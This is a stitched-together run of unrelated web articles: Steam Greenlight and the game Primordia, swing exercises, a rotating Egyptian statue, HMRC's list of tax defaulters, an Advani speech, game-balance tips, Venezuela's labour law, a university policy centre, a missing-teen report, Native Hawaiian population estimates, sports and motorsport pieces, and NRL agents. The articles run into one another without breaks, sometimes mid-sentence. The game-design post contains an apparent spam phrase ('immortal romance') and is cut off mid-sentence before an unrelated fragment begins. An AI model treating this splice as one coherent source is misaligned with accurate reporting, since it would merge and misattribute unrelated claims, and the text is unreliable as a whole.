"I sent our Primordia pitch (which included several preview quotes from the coverage we gathered, basically the same way we'd pitched Resonance) to my usual contact at Steam, but I received a boilerplate rejection letter from somebody else I hadn't spoken with before. It was the same letter that I'd seen before, but with the addition of, 'I highly suggest putting together a page on Steam Greenlight.' Lacking any other option, that's what we did."
"If a developer has already published on Steam they are likely but not guaranteed to skip Greenlight and go directly to the publishing phase with a new title." Doug Lombardi
Contrast looks a bit like Lost in Shadow by way of Moulin Rouge. Not a bad combo, if you ask me.
This may have seemed like a slap in the face to a proven developer whose work was previously well received, but Gilbert was beaming at the reaction the community had to Primordia. "We're really happy with the response on Greenlight so far," he said the day after the Greenlight page had launched. "The fan support that has risen up behind this game has been nothing short of mind-blowing. It's been more gratifying than I can possibly say."
Despite having to go through the Greenlight rigmarole, Gilbert liked the idea of Greenlight because it functions as a way for the audience to prove to Valve what people really want to play. "Greenlight seems like a good idea for indies who have already built up a fan following, because it gives them a way to show Steam there's a demand. I wish it had been around when I was first trying to get Steam's attention!"
And why is it so important to get onto Steam, you may ask? Gilbert noted that Wadjet Eye's Steam Sales had done at least 10 times that of its direct sales.
So does Wadjet Eye's rejection mean that Greenlight is the only way for developers to get their games on the service?
Not so, apparently. "When a new submission comes from a developer we haven't worked with before, it's likely but not guaranteed that the title will be directed to Greenlight," said Valve's Doug Lombardi. "The inverse is also true - if a developer has already published on Steam they are likely but not guaranteed to skip Greenlight and go directly to the publishing phase with a new title. Sometimes there will always be edge cases where more information is needed."
It would seem as if Primordia was one of these "edge cases," and it's Valve's policy not to disclose why certain games get rejected.
While Steam Greenlight seems to be doing a lot of good for the indie scene, that doesn't mean it can't be improved. Even Valve head honcho Gabe Newell admitted that the company could do a better job at filtering content.
“I don't think we did a super good job [with Steam Greenlight]. We have a bunch of work to do," Newell said in a recent interview with 4chan's /v/.
"I don't think we did a super good job [with Steam Greenlight]. We have a bunch of work to do." Gabe Newell
Promordia is a post-apocalyptic point-and-click adventure set long after the fall of man. It comes out on 5th December on Wadjet Eye's site.
“First of all, there's way too much between a game developer and getting something on Steam. It's really because we've been kind of stupid about the amount of work we have to do - just to process everything applying on Steam is 20 or 30 peoples' work. We need to make that process much more efficient," he added.
“So Greenlight was more about, 'Why don't you guys choose which one we should turn the crank on', rather than, 'Let's just focus on making turning the crank easy, so that anybody can put it up'. Greenlight is better than nothing but still not where we really want to get to.”
These were pretty vague criticisms, so I followed up with Valve, to which Lombardi replied, "We have said all along that this will be an ongoing project, and we have a very long list of things we'd like to add." I'm afraid that's all we're getting for now.
Ultimately, Greenlight seems to be improving the submission process for indies; those who've been accepted are thankful for it, while those that haven't are finding their chances are better than under the previous "behind closed doors" internal process. That being said, there's still something not quite right about it that we haven't quite put our finger on.
"It's hard to say what can be improved," said Gilbert. "There's no doubt that having an existing following and fanbase has helped our Greenlight campaign significantly, and those who are just starting out would find it a much greater challenge. But in all honesty, it's no different than the way things were before... The only difference now is that instead of trying to get the attention of an overworked staff member at Steam, we're trying to get the attention of the gaming public.
"This turns it into a PR campaign, and a bit of a backwardsy one. Now you have to sell the game to the public to get votes in order to sell your game on Steam... so you can sell it to the public for real. I'm not sure how that can be fixed exactly, but something definitely feels a little off about it."There are several exercises you can do on a swing. For the first one, sit on the swing like you are getting ready to swing. Instead of pushing off with your legs, bend your knees and draw them into your chest. A few repetitions and you will start to feel your abdominal muscles working. For the second exercise, start in the same position as the first one. Holding onto the chains, lean back and put your legs straight out in front of you. Now lift your legs and your upper body at the same time, trying to get your knees as close to your nose as possible. The third exercise has you leaning back in the swing at a 45-degree angle. Your back is supported by the swing, your feet are on the ground, legs straight. Bend your knees and then straighten again. The muscles in the back of your calves and thighs will get a good workout with this one. Do a more advanced version of this by holding onto the chains but not using the swing seat itself. You can also sit on the swing and do scissors with your legs, use the chains to do pull-ups, even put your feet on the swing with your hands on the ground and do push-ups. Of course, you can also simply swing.An ancient Egyptian statue in a British museum has sparked debate after it was captured on video seemingly rotating on its own.
The 10-inch tall statue of Neb-senu has been on display at the Manchester Museum in Manchester, England, for 80 years but it was only recently that museum staff noticed the statue moving.
"Most Egyptologists are not superstitious people. I wondered who had changed the object's position without telling me," the museum's curator, Campbell Price, told the U.K.'s Sun. "But the next time I looked, it was facing in another direction-and a day later had yet another orientation."
With his curiosity piqued, Price returned the statue of the Egyptian idol to its original position in a locked glass case and set up a camera to film the statue over an 11-hour period. The resulting time-lapse video, Price says, shows the statue moving on its own.
Other experts attribute the rotation to a more scientific reasoning, such as subtle vibrations that cause the statue to move.
"The statue only seems to spin during the day when people are in the museum," Carol Redmount, associate professor of Egyptian archeology at the University of California, Berkeley, told ABC News. "It could have something to do with its individual placement and the individual character of the statue."
The statue, made from serpentine, shows what is likely an official with "priestly duties," according to Price, wearing a shoulder-length wig and knee-length kilt.
The hieroglyphs on the back of the statue spell out, "bread, beer and beef," a "prayer for offerings for the spirit of the man," Price told the Sun.Media playback is unsupported on your device Media caption Treasury Minister David Gauke says the move is aimed at deterring would-be tax evaders
Tax dodgers are being named on a list published by HM Revenue and Customs (HMRC) for the first time, as their affairs come under greater scrutiny.
The list highlights "deliberate defaulters" who were found during investigations by HMRC into affairs conducted after April 2010.
In these cases, the culprits had each not paid more than £25,000 of tax.
The naming and shaming exercise is part of a crackdown that includes larger fines and tracing previous evaders.
The first list features nine names, including a hairdresser, a coach operator and a knitwear manufacturer.
They received fines ranging from a few thousand pounds to £291,830. This was imposed on wine retailer The Trade Beverage Company Ltd of Mobberley in Cheshire.
Other businesses named were bar and club Southport Leisure, of Coronation Walk, Southport, Gatemain Contractors, of Wainscott in Rochester, Kent, and Menemis, trading as Unlimited Knits in Nottingham.
Individuals named were hairdresser Joseph Tyrrell, of Prescot Road in Liverpool, grocer Rafique Maroof Raja, of Thornton, Kirkcaldy, pipework specialist S Stewart, of Woolton in Liverpool, David Alan Jay, who trades in property maintenance in Cranham, Essex, and coach operator Brian Clifford Tattersall, of Bolton.
"The publication of these names sends a clear signal that cheating on tax is wrong and reassures people who pay their taxes - the vast majority - that there are consequences for those who refuse to tell HMRC about their full liability," said Treasury Minister David Gauke.
"It also encourages defaulters to make a full and prompt disclosure and cooperate with HMRC to avoid being named."
When added together, the tax owed amounted to less than £1m.
When asked why no large corporations appeared on the list, Mr Gauke said that HMRC was taking action to close legal loopholes, and those who promoted aggressive tax avoidance schemes were also being exposed.
A recent Commons public accounts committee report called for HMRC to publicly list promoters of tax avoidance schemes and those who used them.
Crackdown
Under the new plan, called the Managing Deliberate Defaulters (MDD) scheme, anyone who evades tax will also have their financial affairs watched closely for up to five years to make sure they do not re-offend.
Image caption The crackdown was aimed at deterring would-be tax evaders
It started with letters being sent to 900 known tax dodgers warning them they will stay in the Revenue's sights for up to the next five years.
HMRC has said the programme was as much about deterring would-be tax evaders as punishing those who had already been found out.
Other measures include:
making announced or surprise inspections of books and records
asking for additional information or documents to be sent in with the person's tax returns
carrying out in-depth compliance checks into all or any part of the person's tax affairs
observing and recording the person's business activities and cross-checking details in their accounts
requiring more frequent VAT returns or cancelling certain favourable VAT schemes for miscreants.
Ordinarily, tax offenders can be fined up to 100% of the tax they have not paid, plus the payment of the back taxes plus interest.
Offenders who have been trying to evade tax in some offshore jurisdictions now face fines of up to 200% of their unpaid tax.
HMRC has the option of prosecuting the worst offenders, which can lead to them being sent to jail if convicted.
The list will be updated every three months.
In order for someone to be named on the website, they must have failed to fully disclose what they owed at the outset.
The taxman can only publish defaulters' names for a year and within 12 months of the penalty becoming final. Details are published only once all appeal routes have been exhausted.
Chas Roy-Chowdhury, of the ACCA tax body, said this made the list "credible".New Delhi: BJP leader LK Advani, whose ties with RSS had reportedly strained after Narendra Modi's elevation in the party, today praised the Sangh and said its policy of not discriminating on the basis of caste had helped them win the support of Dalit voters.
Delivering the inaugural address at the National Executive Meeting of the Scheduled Caste Front, Advani said, "RSS never accepted caste and believed that all sections of society are equal.
"When Mahatma Gandhi visited the RSS shakha (meeting) at Wardha he was surprised to see people of different castes sitting together and having a meal," he said.
He maintained that religious conversions from the Hindu fold had taken place due to caste atrocities. "The RSS view of not discriminating against people on the basis of caste has played an immense role in the political growth of our party," Advani said, adding that this attitude of non-discrimination had brought Dalits closer to BJP. Advani also referred to former BSP chief Kanshi Ram and recalled one of their interactions several years back when he had told the latter that, "what cannot be achieved socially (by Dalits) can be achieved politically". Advani had cited the example of RSS shakhas (meetings) held in Punjab to Kanshi Ram, claiming that all sections of society, except Sikhs, used to attend them. The Sikhs too started attending RSS meetings after BJP and SAD forged an alliance. The BJP leader has been reportedly unhappy with RSS since the elevation of Modi as the chief of the party's Election Campaign Committee. BJP is eyeing the sizeable Dalit vote in the country with a view to increasing its voteshare by 10 per cent. Other sections on the party's radar are Scheduled Tribes, minorities, women and young voters. Advani asked the party to gear up for elections in six states and the Lok Sabha polls. Making a jibe at Congress, Advani said, "The amount of effort that Congress has made in the last three years to make BJP win the next Lok Sabha elections, nobody else has." (MORE)Better Gameplay Balance: Gaming the Numbers
In my last blog post, I talked about how good gameplay balance goes beyond the spreadsheets and relies on understanding how players perceive and evaluate their choices.
But let’s be honest — at the end of the day, you still have to put some numbers in for the game to work. And if you botch it badly, no amount of clever mind games is going to help.
Here are a few tricks I’ve picked across my career as a game designer that should let you deal with immortal romance more efficiently, without going insane in the process.
Keep it simple:
Yeah. I know. Every article on every design-related subject starts with this. It’s because it’s true.
Human minds don’t comprehend large numbers, probabilities, complex formulas, and their intertwining relationships very well. Remember AD&D, with its 18/00 strength, THAC0, and negative armor class? There’s a reason why it got simplified a lot in later editions. Overly complex and several-step computations are not intuitive and hurt the ability to make informed decisions on the value of each action, while adding nothing to the strategic depth of the game.
Yeah, right.
It’s not limited to players, too. You, the designer, will have a lot more trouble keeping a unnecessarily complex system in balance. So try to make your mechanics as close to what-you-see-is-what-you-get as possible.
Use a consistent scale:
My Druid in Diablo 2 dealt around 20k damage per attack, had 6k to-hit rating, and only 2k health. Does that mean he was a glass cannon, dying from a single hit, but dishing out crazy amounts of damage, assuming he could hit anything with his low to-hit?
Nope. He was actually a tank-type character. Monsters could have well over 100k health points, but dished out damage in low hundreds, and 6k to-hit was more than enough to connect with 95% of attacks. But how would you know that when each of these stats seems to follow a completely different, arbitrary scale?
You can probably see where this is going…
Consistency is for the weak!
Using a consistent scale makes things much easier to comprehend for both you and the player.
In Bonfire, I’ve made a conscious effort to keep everything between 1 and 100, with 20 being the base value for all actions. This makes its balance much more transparent. If something is at 75, it universally means it’s high. If a skill raises a stat by 20, it’s roughly equivalent in value to an attack that does 20 damage. It also allows me to use similar formulas for most computations, from how much damage an attack deals, to how fast a character gets their turn.
Boil things down:
I’ve found that it really helps the balancing process if I boil things down to single numerical values. From abilities’ power to each level’s difficulty, it’s just much faster to operate on easily comparable variables.
Shameless Bonfire plug.
For instance: all abilities and attacks in Bonfire have a magnitude value assigned to them. If an attack has a magnitude of 2.0, it will always deal exactly twice as much damage as a 1.0 strike. This way, even if underlying formulas change later, relationships between various items are kept intact. If an action was designed to be twice as powerful as another, it will stay that way even if I mess around with how their effects are calculated.
Same thing applies to difficulty levels, despite them being much harder to clearly define. It allows me to see the balance between various aspects of my game at a glance, which speeds ups the development significantly.
Keep global modifiers for everything:
Like many game designers, I used to be into modding before going professional. When doing a small re-balancing patch for Oblivion, I wanted to solve the problem of enemies and the player character requiring way too many hits to kill. Fortunately, I didn’t have to tweak damage values for each and every weapon, as the game had a definable global multiplier for attack power. I could test various possibilities within minutes and see what fits the dynamic I had in mind.
Officially more fun than the game itself.
Thanks to this lesson, I always abstract global multipliers for pretty much every single aspect of my own games’ balance.
Because, here’s the thing — no matter how good you are, your balance will require several iterations before you get it right. If you can quickly check how your game would play if all characters moved twice as fast or died from just a single hit, you’ll arrive at something fun and playable much sooner.
Avoid using arbitrary resources:
Is 100 mana high or low? Is Fireball balanced if it costs twice as much as the half as powerful Firebolt? Probably. But what if mana actually regenerates quickly? Or if a high-level character can easily have more than 1000 points in their blue bar? Does the higher price still matter in that case? What if the player stacked up on potions?
This is a problem with using arbitrary resources that have no intuitively understandable value — they are very hard to get right, as they make no sense outside of the ruleset of the game.
A move to natural resources improves things a lot. Let’s consider changes made from Demon’s Souls to Dark Souls. Demon’s Souls used the classic mana system. It was pretty tight, but had its problems. For example: some spells were clearly designed for a single use, with their mana cost close to the possible maximum. However, players could grind for magic-restoring herbs to break the system and make large mana costs of those super powerful spells have little consequence.
Dark Souls fixed that by simply having a pre-defined amount of uses for each spell. A very natural resource that’s immediately understandable and easy to evaluate. If the weaker Firebolt has thrice the uses of Fireball, it leaves me with an interesting choice to make. Should I take the more powerful spell for use in critical situations or go for the flexibility of being able to use ranged attacks more often. It’s also easier to balance the cost of each spell, as it’s a |
election flyer. White is also said to have been an active campaigner for Crombie.
John Russo, United Way of Peel chair, said the organization’s board is currently looking into the matter and that a decision would be rendered soon.
White has met with Moore, and had another meeting scheduled with Brampton Regional Councillor John Sprovieri last week in an effort to lobby support.
In addition to McCallion’s support, which could bring in key votes from Mississauga council, White’s endorsements of Crombie and Jeffrey could be reciprocated this evening.
Jeffrey told The News’ editorial board recently that she wants to see a strong broker at the table to deal with a laundry list of challenges.
For full coverage of the inaugural meeting, visit online at mississauga.com.
Follow Peter Criscione on Twitter @iPolitypusVenezuela's new Labour Law for Workers came into effect on May 7, guaranteeing shorter working hours, longer maternity leave and pensions for all Venezuelans.
Described by the Venezuelan government as the “most advanced labour law in the world”, the law reduces the working week from 44 hours to 40, and requires that employers provide two consecutive days a week off.
When the law came into effect, labour minister Maria Iglesias said the new working hours are part of the process towards a “just distribution of wealth”.
The next day, Carabobo state labour affairs committee president Jose Joaquin Vargas hailed the law as an important part of the transition from “capitalism to socialism”. Vice president of the National Federation of Public Sector Workers Franklin Rondon told VTV on May 5 that the law was “historic”.
“We are in a historic moment, in 14 years the achievements we have obtained for workers are numerous; we have achieved much more than in the past 40 years,” Rondon said.
Vargas urged workers to ensure their employers and unions act in accordance with the law.
In the next six weeks, the government will inspect workplaces to ensure employers adhere to the new requirements. Employers were told earlier in the year that they would need to make any necessary changes before May 7. However, Iglesias said that day that inspections over the next six weeks will be “corrective in nature”.
The minister warned that penalties will be imposed on employers who fail to adhere to the law after June 15.
However, workers are already reporting breaches of the new laws. In Miranda state, employees of processed meat manufacturer Industrias Alimenticias de Corralito (Inacor) have denounced their boss. A spokesperson for the workers, Peggy Serrano, said management made a series of surprise changes to the timetable that could result in employees being forced to work overtime.
Along with establishing new working hours, the law prohibits unfair dismissal, outsourcing, guarantees the right to work for both women and people with disabilities and increases maternity leave.
Under the law, Venezuela now has the world's third-longest maternity leave scheme. Mothers are entitled to six weeks pre-natal leave, and 20 post-natal. Fathers are also entitled to two weeks paternal leave.
Under the law, the same conditions apply to parents who adopt a child under three years old.
All workers are also now entitled to retirement pensions, including full-time mothers and the self-employed.
The law is the result of nearly a decade of discussions in the national assembly and the labour movement.
Late former president Hugo Chavez, when he approved the law in April last year, said: “In more than 200 years of republican history I am absolutely positive that there has never been a work law … that has been debated so much as this one.”
[Reprinted from Venezuela Analysis.]Ali Eskandarian, the dean of the College of Professional Studies, said several faculty members who already research topics related to Native Americans will use the Indigenous Peoples' Center. The center will start searching for a director next month.
The search for a director for the new AT&T Center for Indigenous Politics and Policy will begin next month, officials confirmed this week.
AT&T donated $450,000 last month to establish the CIPP after officials presented a funding proposal to the company. The center, housed in the College of Professional Studies, will be dedicated to research and education on Native populations. Officials said that AT&T will continue to fund the center for the next three years and other foundations will fund it later on.
Over the past decade, AT&T has contributed more than $7 million to support education for indigenous peoples. The donation to the University was in honor of Native American Heritage month in November.
Gregory Lebel, an assistant professor of political management and the director of the Native American Political Leadership Program, said in an email that the center will focus on issues Native communities face, the political realities surrounding those issues and political processes that can overcome such challenges.
“GW has established a strong record of commitment to diversity and these efforts to address issues facing indigenous peoples in the United States are part of that effort,” Lebel said. “The center provides the opportunity and means to marry this commitment with GW’s unique position as an institution of higher learning with a strong vein of political expertise and influence.”
AT&T has collaborated with GW before: The tech conglomerate established the University’s Native American Political Leadership Program in 2006 and the INSPIRE Native Teens Pre-College Program in 2013. Both programs award full scholarships to Native American high school students to allow them to take classes at GW, learn about politics and have mentorship opportunities.
Both of the existing programs will eventually be run through CIPP, Lebel said.
Lebel said the new center will continue GW’s role in supporting Native students on campus, addressing the politics and policy that surround the lives of indigenous people and will be a catalyst to increase the number of Native students at GW. And while the programming specifics will be at the discretion of the director, research and learning will be the center’s overall goals.
Native American students make up the smallest ethnic population at the University, with only 10 enrolled undergraduate American Indian or Alaska Native, non-Hispanic students, according to Oct. 2015 data from the Office of Institutional Research.
“The very presence of CIPP at GW goes a long way toward giving recognition and voice to GW’s Native student population,” Lebel said.
Ali Eskandarian, the dean of the College of Professional Studies, said in an email that while putting the grant proposal together, several faculty members who are researching related topics showed their interest and support for the center.
“It would be our intention to tap into the existing expertise within GW as the goals of the center are further elucidated,” Eskandarian said.
Jennifer Bertolet, a professional lecturer of history who focuses on Native American history and culture in her research, said she is enthusiastic about the center’s potential to bring attention to Native American issues and to encourage students to do related research.
“I hope that the center will raise awareness, within the GW community and beyond, of the on-going policy struggles that Native Americans still face with respect to their treaty rights, water rights, land rights and natural resources,” Bertolet said.
Bertolet said that beyond raising awareness and working toward policy solutions, the center should also provide infrastructure and training for faculty who study topics related to indigenous populations.
“Many GW students express a strong interest in policy matters and this center can offer information and training in an area of policy that students might not have considered,” she said.
Brian Barlow, the president of the GW Native Student Leadership Council, said that he hopes the center can successfully educate the student body and general public about Native Americans’ access to education and health care.
“Access to higher education is huge, mental and behavioral health, access to quality healthcare,” Barlow said. “As a center for policy, trying to establish true nation to nation relationships between tribes and the federal government is important.”
Barlow said the center could help present a more complete picture of Native American culture to a public that has unrealistic ideas of what it means to be Native American.
“Anything to help people learn a little bit more about tribal communities,” he said. “By and large, the American public is pretty ignorant to Indian country. Not in the media, nothing in pop culture, really – except for what’s appropriated. Most things that are ‘Native’ are pretty far from realistic.”
This article appeared in the December 8, 2016 issue of the Hatchet.9197 SHARES Share Tweet
Please help us spread the word about Paige Corbin out of Monroeville, Pennsylvania by sharing this report.
🔊 LISTEN TO REPORT
UPDATE — FANTASTIC news! Because of all of you amazing Pennsylvania Missing Report people sharing this report, Paige has been found and is now home safe and sound with her family! I owe you all a huge thank you for this.
BY REQUEST — This missing person was submitted via our submission form and is being created by user request. We are making you fully aware that this missing person report may not immediately follow the release of an official police or news report. With that said, we ask that you share this report at your own discretion.
STORY CONTINUES BELOW
ORIGINAL REPORT: MONROEVILLE — The Family is asking for the local public’s assistance in locating missing 17 year old Paige Corbin out of the Monroeville, Pennsylvania area.
Paige was last seen March 29, 2017. Her hair is currently dyed red. She has pierced ears. Paige is missing her 2 front incisors and she suffers from headaches and depression. It is believed she may be headed for the Warren area of Ohio. Paige may be wearing a brown and white fuzzy coat and carrying a red backpack with her name on it.
Paige is described as:
• GENDER: Female.
• ETHNICITY: White.
• HAIR: Dyed Red.
• EYES: Brown.
• HEIGHT: 5 feet 4 inches.
• WEIGHT: 160 pounds.
Do you know something?
If you have any information in regards to Paige’s whereabouts, you are being asked to contact the Monroeville Police Department at 1 412-856-1111 immediately.
Want to stay anonymous?
If you wish to remain anonymous with your information, you are welcome to call Crime Stoppers at (800) 472-8477, or submit your tip online at Submit-A-Tip.
We wish to remind our readers that this missing person was submitted by request and does not immediately follow the release of a police or news report.
STORY CONTINUES BELOW
Thank you for all of your efforts in helping us spread the word about missing people like Paige across Pennsylvania. We ask that you please take a moment to share these reports on all social media platforms in order to reach the broadest local audience as possible.
We do our best to inform the general public about missing people across The United States. View all of our state-based websites by taking a look at our country map just below.
PLEASE DO YOUR PART IN HELPING US BY SHARING THIS REPORT. THANK YOU.More than any other state, Hawaii stands out when it comes to its racial and ethnic diversity. The Rainbow State has never had a white majority. In fact, non-Hispanic whites, the largest group in most states, account for only 23% of the population, according to 2013 census figures.
Asians, a category that includes Chinese, Japanese, Korean, Thai and Filipino immigrants whose ancestors once worked on the islands’ sugar cane and pineapple fields, are collectively the largest group at 37%.
But the real population story is about Native Hawaiians, those who are descended from the original people of Hawaii and who today make up 6% of the islands’ population, or 21% if you include those who are part-Hawaiian. A new demographic analysis, using an innovative technique, estimates that there were 683,000 Native Hawaiians on the island in 1778, when British explorer Capt. James Cook arrived. That’s on the higher range of the highly disputed historical estimates, which have ranged from as low as 200,000 to as high as 1 million. (Today, Hawaii’s total population stands at 1.4 million.)
The author, David Swanson of the University of California, Riverside, presented his new estimate of the “pre-contact” population at the University of Hawaii in February. Swanson used an approach called “backcasting” to reach his historical estimate of the Hawaiians’ population decline. It’s essentially the reverse of what demographers more commonly do: forecasting population growth.
In this case, Swanson took a detailed look at the 1910 and 1920 U.S. Census’s Native Hawaiian counts, tracking the survival rate of each five-year age group from one census to the next. For example, he looked at how many children who were newborns to age 4 in 1910 were counted as 10- to 14-year-olds in 1920, then did the same for each successive age group. For each group, he created a “reverse cohort change ratio,” which he used to go back in time and estimate the size of each age group for each decade until he got to 1770.
As it turns out, Swanson’s estimates roughly line up with several other historical census counts, including the U.S. Census’s 1900 count, the first after the U.S. takeover of the island in 1898. (Hawaii was first a U.S. territory and later became a state in 1959.) His figures also were in accord with three censuses by the Kingdom of Hawaii in 1890, 1860 and 1850. (He says he did not use the kingdom’s earlier censuses to devise the ratio because they did not consistently break down their counts by age group.)
Swanson’s estimates show that the death rate among Native Hawaiians accelerated devastatingly fast after their first contact with Western foreigners. Captain Cook and his crew wrote in well-documented accounts about concerns that they had infected the population with venereal diseases (Cook said he unsuccessfully tried to prevent his men from mingling with the native women). Over the years, many other infectious diseases and illnesses such as measles, chicken pox, polio and tuberculosis killed thousands of Hawaiians.
By Swanson’s estimates, 1-in-17 Native Hawaiians had died within two years of Cook’s arrival. By 1800, the population had declined by 48% since Cook set foot on Hawaii. By 1820, it had declined 71%; by 1840, it declined 84%.
Swanson’s estimates have some caveats. In an interview, he said that the figures do not account for Native Hawaiians who may have moved off the island, including some men who joined whaling vessels during the 1800s or left for the mainland U.S. or other parts abroad. But he reasons these figures are small. He also cautions that his data are based on the U.S. Census data, which might be inaccurate.
Swanson’s paper acknowledges that these figures are not likely to end the debate over the pre-contact Hawaiian population. “It is not likely that any estimate, no matter how transparent and methodologically sound, will ever satisfy all parties,” he wrote.
Even so, historians and demographers agree that the devastation of the population was swift and dramatic. Historical accounts by missionaries and other Westerners who first arrived in the 1820s frequently predicted the complete eradication of the Hawaiian race from the planet by the early 20th century. Indeed, by 1920, the Native Hawaiian population had dwindled to just under 24,000, according to the U.S. Census.
But there’s a turnaround to this story. For the past several decades, since the 1980s, the Native Hawaiian population in the state and across the country has been surging, and growth is projected to continue.
The state’s Native Hawaiian population, which includes people who are of more than one race, stands at 298,000. Nationwide, there are more than 560,000 Americans who claim Native Hawaiian race, according to 2013 census estimates.
One possible reason for the growth may be in how people of Native Hawaiian descent are counted. Although the population grew steadily in the latter half of the 20th century, the numbers accelerated in 2000 when the Census Bureau began allowing people to select more than one race to identify themselves. Among the U.S. Native Hawaiian population today, 36% identify as two races and 26% identify as three races; only a third – 33% – identify as only Native Hawaiians.
The Native Hawaiian population has also been growing in recent decades because of a higher fertility rate compared with that of the overall state population, as well as a higher “out-marriage” rate, meaning that Native Hawaiians tend to marry someone of a different racial background, said Justin Hong, a research associate at Kamehameha Schools. (The private institution was founded by Bernice Pauahi Bishop, the last direct royal descendant of Hawaii’s famous king, Kamehameha, to educate Native Hawaiian children.)
The total Native Hawaiian population in the state is projected to reach more than half a million by 2045 and more than 675,000 by 2060, according to a 2012 report by Kamehameha Schools. Their numbers are in sync with state estimates, which were published in 2010.
It’s rare to see such a U-shaped curve for a small population like Native Hawaiians to make a comeback – in this case, at numbers not seen since 1778. But just when Hawaii reaches that point (or whether it has already) depends on which numbers you use from the start.
Topics: Population Geography, Population Projections, Demographics, Race and EthnicityFifth round rookie linebacker Matt Milano has already become a fan favorite, and he has only averaged 46.2% of the defensive snaps this season. We have been calling for Milano to start for many weeks now, but looking back I like how they brought him along. Rather than throwing him in, they brought him along slowly. Milano was able to digest the playbook, and work on his technique and role within the defensive structure so that he was not just relying on his athleticism. I think this maturation process has set up the defense perfectly going into the week 16 matchup against the New England Patriots.
Tom Brady has seen it all and, especially when defenses want to play zone coverage, he picks that strategy apart. But what teams have done against him as of late is play more man coverage. Playing man coverage is a lot easier with no Julian Edelman in the lineup, as Edelman is a guy that dominates the slot and the middle of the field. Amendola is a similar type of receiver, but he doesn’t offer the explosiveness that Edelman possesses in and out of his breaks or after the catch. Cooks has been the Patriots’ outside deep threat, and a good one at that, but he only has two games over 100 yards. The New England passing offense operates through their tight end Rob Gronkowski and running backs Rex Burkhead, Dion Lewis, and James White.
If the Bills want to run man coverage like a lot of teams have versus the Patriots, then they cannot have LB Ramon Humber in coverage. With Milano on the field more, defensive coordinator Leslie Frazier can disguise coverages more and drop into man coverage if needed without having to worry. Milano, unlike Humber, has the skills to run with the running backs of New England. In the week 13 matchup he only played in 31.4% of the snaps, but was on the field for several crucial plays when Brady targeted his running backs.
I believe with Milano now the starter, Buffalo will be able to play more man coverage. Milano matched up against the Patriots’ running back and as a ‘Robber’ or underneath linebacker to help out vs. Gronk. This will force Brady to go elsewhere. The one-on-one matchups will be fun to watch.
Do you believe these matchups fall in favor of the Bills? Do you think Brandin Cooks can win consistently against Tre’Davious White and EJ Gaines?It might infuriate some purists, but Holden is experimenting with a new turbocharged V6 under the hood of their V8 Supercars test mule. Built in response to the new ‘Gen 2’ regulations which allow for four-door bodies and the option of turbocharged four- or six-cylinder engines, Triple Eight Racing Engineering developed this testbed, known as ‘Sandman,’ initially with the current V8 but, more recently, with something a little smaller.
The new motor is a 3.6-liter GM V6, as used in the Cadillac ATS-V.R. GT3 racers, and uses two turbochargers to produce the grunt necessary to run with the big atmospheric motors. Though the engine in this wagon and the Cadillac racers are quite similar, the turbochargers and intercoolers were relocated here for purposes of packaging and improved center-of-gravity.
The compact motor, named the LF4.R, is marketed as a racing evolution of the 3.8-liter V6 from the CTS-V sport and developed by GM Powertrain. It’s considerably reworked with bigger BorgWarner EFR turbochargers, massive water-to-air intercoolers, a carbon fiber intake, a Bosch MS5.1 ECU, and a lightweight aluminum block. The GT3-spec engines produce 600 horsepower at 7,200 rpm and 520 lb-ft of torque without restrictors, though, with the engine having been developed over two years already, the power levels could rise in the evolution for V8 Supercar.
The Big Question
Though the category won’t have to be renamed with this new motor on the grid, the major concern is the sound. Though some are concerned about the sound not fitting with the sport’s soundtrack, if you like, the raspy six has makes some pleasant popping, whizzing, and sneezing, and a throaty exhaust note. Plus, with a side-exit exhaust, expect fireballs a-plenty.
This promotional, attention-grabbing vehicle—hence the wagon body—is designed to develop the engine prior to next season, when Triple Eight will use it in select races. As of now, it is the only proposed V6 for 2018, so the 5.0-liter V8 will remain the category’s defacto motor until 2019, when Triple Eight plans to equip all their cars with the turbocharged V6.
With V8 Supercars Champion Craig Lowndes handling the Sandman, it looks like a manageable machine. The progressive power delivery make the horsepower look completely controllable—though it’s obvious he’s not wringing it out entirely. Nevertheless, it’s interesting to see how linearly the power comes on, how quickly the turbos spool, and how rapid it is at the top end of the rev range. The addition of this motor is a harkening back to the days of Group A racing, when a diverse lineup which included the Nissan GT-R, the Ford Sierra Cosworth, and the big-bored Holdens. The addition of bigger bodies and smaller engines ought to provide a little needed variety in the category.
Clearly, the sound’s not quite bellow like the typical V8, but it doesn’t sound like a hairdryer either. With time, it’s likely that the naysayers will be silenced by the barking six.Nevertheless, the AAC will soon be supplied with the brief of evidence, putting pressure on the two Rugby League Players Association (RLPA) committee members, as well as the two player managers who sit on the body. Some committee members feel the process has been torturous, waiting for the ARLC to indemnify the disciplinary body but finally draft letters have been exchanged, with one source saying: "The indemnity won't be an impediment to getting on with the process." It is widely believed the delay in prosecuting powerful agents over the Parramatta breaches has been caused through implied threats by them to out NRL chief executive Todd Greenberg over some perceived breach he committed while boss at Canterbury. However, a member of the NRL investigation team told the Herald he has been given unfettered powers to prosecute, with the only restriction being to produce a compelling case. Furthermore, ARLC chair John Grant has taken a direct interest in the investigation, liaising with COO, Nick Weeks. Anger against player managers has intensified in recent months with the group accused of playing significant roles in the sacking of coaches. While former Souths coach Michael Maguire was sacked by football manager Shane Richardson, a very experienced official with every right to make the call, Maguire may also have fallen foul of a powerful player manager.
There is increasing concern at player managers trafficking their players to a club where the coach is also a client. Prominent agent Isaac Moses has three clients – Brisbane's Adam Blair, Manly's Blake Green and Cronulla's Gerard Beale – all of whom have signed with the Warriors, where the coach, Stephen Kearney, is also on Moses's books. Moses did not respond to a request for a comment. Green's uncooperative behaviour at Manly, before his release, surprised the club where he was very popular. Jason Taylor was also sacked as Wests Tigers coach early in 2017 with three high-profile Moses clients – prop Aaron Woods, half Mitchell Moses and fullback James Tedesco – subsequently moving to other clubs. More players are leaving small agencies to join the powerful ones, suggesting that the old practices of using a senior footballer to recruit younger ones for his player manager are continuing. One former NRL chief executive said of a still prominent agent: "He represented two players whose contracts came up at the same time. One was a journeyman and the other an international. He said of the journeyman: 'Pay him what you can but you've got to give big dollars to the international.' He then waived all commission for the international on the condition he recruit young players to his stable." One grand final club has a third of its players represented by one agent, raising the question of how much duty of care he can exercise and how does he decide which of say, two young client halves, he shops to a club needing a No.7.
